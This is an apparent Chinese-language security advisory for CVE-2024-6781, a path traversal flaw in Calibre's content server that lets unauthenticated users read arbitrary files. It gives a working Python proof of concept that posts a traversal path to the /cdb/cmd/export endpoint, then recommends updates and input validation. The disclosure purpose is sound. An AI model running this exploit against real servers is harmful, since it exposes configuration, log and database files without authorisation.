Calibre任意文件读取漏洞(CVE-2024-6781)

漏洞概述

CVE-2024-6781 是 Calibre 软件中的一个任意文件读取漏洞。该漏洞允许攻击者通过构造特定的请求，读取服务器上的任意文件，可能导致敏感信息泄露。

漏洞影响

该漏洞影响 Calibre 的多个版本，具体受影响的版本范围需要参考官方公告。攻击者可以利用该漏洞读取服务器上的配置文件、日志文件、数据库文件等，进而获取敏感信息。

影响版本

Calibre <= 7.14.0 中的路径遍历允许未经身份验证的攻击者实现任意文件读取。

poc

#! /usr/bin/env python3
# Ldwk
# PoC for: CVE-2024-6781
import json
import sys

import requests

_target = "http://localhost:8080" # SET ME
_book_id = 1 # ensure book_id exists

def exploit(path):
    r = requests.post(
        f"{_target}/cdb/cmd/export",
        headers={"Content-Type": "application/json"},
        json=["extra_file", _book_id, path, ""],
    )
    try:
        print(r.json()["result"])
    except Exception:
        print(r.text)

if __name__ == "__main__":
    exploit("..\\..\\..\\Calibre Settings\\gui.json")

修复建议

为了修复该漏洞，建议采取以下措施：

1. 更新到最新版本的 Calibre 软件，官方通常会在新版本中修复已知的安全漏洞。
2. 对用户输入进行严格的验证和过滤，防止路径遍历攻击。
3. 限制服务器文件的访问权限，确保只有必要的文件可以被读取。